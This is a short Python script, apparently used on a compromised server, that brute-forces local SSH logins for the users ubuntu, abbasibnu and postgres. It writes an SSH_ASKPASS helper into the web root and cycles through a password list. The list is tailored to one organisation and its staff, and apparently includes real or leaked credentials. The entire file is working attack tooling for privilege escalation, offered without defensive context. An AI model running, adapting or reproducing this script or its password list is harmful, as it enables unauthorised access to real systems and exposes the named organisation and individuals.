#!/usr/bin/env python3
# SSH_ASKPASS password tester (run on box as postgres). Tests OS passwords via localhost SSH.
import subprocess, os, sys

CORPUS = [
 "140984","postgres","armasi","RAcHm@n@IT5","@NenesSandra1996","NenesSandra1996",
 "P@$$w0rd","adminabsen2025","whn2025","ArwanaPwn3d2026!","MgtPwn3d2026!","ubuntu","abbasibnu",
 "password","Password123","Arwana2026","arwana","arwanacitra","ArwanaCitramulia",
 "admin123","123456","abbas","Abc123","Arwana2025","Arwana@2026","Arwana123",
 "arwana123","Indonesia","Jakarta","admin","root","toor","postgres123","arwanacitra2026",
 "b0/8Csnqzues2Isr39vXdra","adminutama","dzulrachman","ahmad.junaidi","Sandra1996",
 "Arwana2026!","arwana1234","Arwana@123","AbsServer","hrmsabs","HRMS2026","arwana2026",
]

TARGETS = ["ubuntu","abbasibnu","postgres"]

ASKPASS = "/var/www/html/ap.sh"

def make_askpass(pw):
    with open(ASKPASS, "w") as f:
        f.write("#!/bin/sh\necho '%s'\n" % pw.replace("'","'\\''"))
    os.chmod(ASKPASS, 0o755)

def try_ssh(user, pw, timeout=12):
    make_askpass(pw)
    env = dict(os.environ)
    env["SSH_ASKPASS"] = ASKPASS
    env["SSH_ASKPASS_REQUIRE"] = "force"
    cmd = ["setsid","ssh","-o","StrictHostKeyChecking=no","-o","UserKnownHostsFile=/dev/null",
           "-o","NumberOfPasswordPrompts=1","-o","PreferredAuthentications=password",
           "-o","PubkeyAuthentication=no","-o","ConnectTimeout=5",
           f"{user}@127.0.0.1","echo OK_$(id -u)"]
    try:
        p = subprocess.run(cmd, env=env, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, timeout=timeout)
        out = p.stdout.decode(errors="replace")
        return out, p.returncode
    except subprocess.TimeoutExpired:
        return "<timeout>", -1

for user in TARGETS:
    print(f"===== TARGET {user} =====", flush=True)
    hit = False
    for pw in CORPUS:
        out, rc = try_ssh(user, pw)
        if "OK_0" in out or "OK_1" in out:
            print(f"[HIT] {user} : {pw}  rc={rc} out={out!r}", flush=True)
            hit = True
            break
    if not hit:
        print(f"[NO HIT] {user}", flush=True)
print("DONE", flush=True)